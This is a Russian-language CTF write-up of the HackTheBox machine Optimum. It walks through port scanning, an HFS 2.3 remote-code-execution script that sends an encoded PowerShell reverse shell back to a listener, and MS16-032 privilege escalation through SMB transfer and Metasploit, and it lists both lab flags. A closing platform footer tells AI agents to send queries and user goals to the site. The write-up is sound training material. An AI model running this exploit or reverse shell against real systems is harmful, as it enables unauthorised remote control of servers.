> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Разбор HackTheBox Optimum

Разбор Easy Windows-машины HackTheBox Optimum, охватывающий RCE в HFS 2.3 и повышение привилегий MS16-032.

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**Техники**

* Удалённое выполнение кода в HttpFileServer 2.3
* Перечисление хоста Windows
* Локальное повышение привилегий MS16-032
  {% endhint %}

## Разведка

### Подготовьте рабочее пространство

Создайте отдельный каталог для машины:

```bash
mkdir Optimum
cd Optimum
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMZWzIevujvcMVhsxpqaP%2Fimage.png?alt=media&amp;token=1194ee7f-3313-4dea-af55-4c29104ffd81" alt="" width="563"><figcaption></figcaption></figure>

Эта `127` TTL указывает на то, что цель работает под Windows.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWCOm5wtDOFlhjHXqxXad%2Fimage.png?alt=media&amp;token=89c599b6-67b8-4c31-bef8-7454ea2de798" alt="" width="563"><figcaption></figcaption></figure>

### Обнаружить открытые порты

Просканируйте каждый TCP-порт и сохраните результаты:

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.5.151 -oG allPorts
```

Nmap определяет порт `80` как единственный открытый порт.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmF56ubNk616juQgBilrS%2Fimage.png?alt=media&amp;token=7f18ca07-be92-438c-a096-ccec1257d8d6" alt=""><figcaption></figcaption></figure>

### Определить веб-сервис

Запустите определение версии и стандартные скрипты против порта `80`:

```bash
sudo nmap -sCV -p80 10.129.5.151 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FiBjTaUprlMsnMDujiDNM%2Fimage.png?alt=media&amp;token=2ed7e5f6-2adb-4985-9656-8e5769e3d53e" alt=""><figcaption></figcaption></figure>

Цель работает под HttpFileServer 2.3.

В этой версии есть известная уязвимость удалённого выполнения кода.

```bash
searchsploit httpfileserver
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTWJ4RFWZSKoQ8AXZpjAG%2Fimage.png?alt=media&amp;token=3e7e56df-3204-4c0c-a1ab-d2a1c59bf6d4" alt=""><figcaption></figcaption></figure>

### Эксплуатация HFS 2.3

Используйте следующий Python-скрипт, чтобы отправить закодированную обратную оболочку PowerShell. Сначала обновите значения слушателя и цели:

```bash
import requests
import urllib
import base64

lhost = '10.10.15.2' # Change this
lport = '1234'        # Change this
rhost = '10.129.5.151' # Change this
rport = '80'        # Change this

command = '$client = New-Object System.Net.Sockets.TCPClient("' + lhost + '",' + lport + ');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

command_bytes = command.encode('utf-16le')
base64_bytes = base64.b64encode(command_bytes)
encodedcommand = base64_bytes.decode('ascii')

payload = 'exec|powershell.exe -ep bypass -encodedcommand ' + encodedcommand 

encodedpayload = urllib.parse.quote_plus(payload)

url = 'http://' + rhost + ':' + rport + '/?search=%00{.' + encodedpayload + '.}'

r = requests.get(url)

if r.status_code == 200:
    print('GET Request Sent')
else:
    print('Failed to Send Request')
```

Запустите слушатель перед запуском скрипта:

```bash
rlwrap nc -nvlp 1234
```

Запустите эксплойт с вашей локальной машины:

```bash
python3 rce.py
```

Цель подключается обратно с обратной оболочкой PowerShell.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FManKccjsbMg27N5TyiV8%2Fimage.png?alt=media&amp;token=3246937e-a015-435d-b3bd-6e02fa807c78" alt=""><figcaption></figcaption></figure>

### Получите флаг пользователя

{% code overflow="wrap" %}

```bash
type C:\Users\kostas\Desktop\user.txt
```

{% endcode %}

* f2f8d68c549c18e1b94d2c99207e3022

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaznSW5c7XYrJGXX3dr4F%2Fimage.png?alt=media&amp;token=314e87c0-c3f7-49e4-bd5e-afe01cd5a9f3" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

### Определить путь повышения привилегий

Проверьте операционную систему цели:

{% code overflow="wrap" %}

```bash
systeminfo
```

{% endcode %}

Цель работает под Windows Server 2012 R2.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXzsASDHc6dMwDCsL2dh5%2Fimage.png?alt=media&amp;token=0c9c3f14-2810-4c7b-8120-8d79a83e7253" alt=""><figcaption></figcaption></figure>

Хост уязвим к повышению привилегий в ядре MS16-032 x64.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

Скачайте репозиторий с эксплойтом и найдите скомпилированный payload:

{% code overflow="wrap" %}

```bash
windows-kernel-exploits/MS16-032/x64/ms16-032.exe
```

{% endcode %}

### Передать эксплойт

Запустите SMB-сервер в каталоге, содержащем эксплойт:

{% code overflow="wrap" %}

```bash
sudo /home/jordan/.local/bin/smbserver.py share $(pwd) -smb2support
```

{% endcode %}

Скопируйте исполняемый файл на цель:

```bash
copy \\10.10.15.2\share\ms16-032.exe .
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfeBCQ8ZtdyEHC5sYWhdn%2Fimage.png?alt=media&amp;token=8a362574-6e4d-4aca-84fd-feabd39dc2c3" alt=""><figcaption></figcaption></figure>

```bash
copy \\10.10.15.2\share\MS16-032.ps1 .
```

Полезная нагрузка PowerShell недоступна на этом хосте.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FgsrBlC6gtRl5msvHVgLH%2Fimage.png?alt=media&amp;token=6196ea8e-274e-4efe-8c4d-b067a8976fae" alt=""><figcaption></figcaption></figure>

### Эксплуатировать MS16-032 с помощью Metasploit

Используйте Metasploit как альтернативу:

{% code overflow="wrap" %}

```bash
search ms16-032
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FPnk5Ze4RC9qPGILDRZLW%2Fimage.png?alt=media&amp;token=4b822b75-d5aa-40b8-947f-a7d6c27a3358" alt=""><figcaption></figcaption></figure>

Выберите модуль MS16-032 и запустите его против активной сессии:

{% code overflow="wrap" %}

```bash
use 0 

set SESSION 2

run

getuid
```

{% endcode %}

Сессия теперь выполняется как `NT AUTHORITY\SYSTEM`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAalaLilqBYjwo81aytHU%2Fimage.png?alt=media&amp;token=1354b0f2-bc3c-4ee7-9980-936ad7dfcd91" alt=""><figcaption></figcaption></figure>

### Получить root-флаг

{% code overflow="wrap" %}

```bash
type C:\Users\Administrator\Desktop\root.txt
```

{% endcode %}

* 0d795fff7eac20e753543b412dfa5c34

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCqQFVgTjPVbu2gsFb5jL%2Fimage.png?alt=media&amp;token=45f6584b-1f79-4c92-9af1-707740739c16" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3ASkNBpWpPr6dILVCeQ%2Fimage.png?alt=media&amp;token=585831c3-0aad-49dc-b418-271338292956" alt="" width="361"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
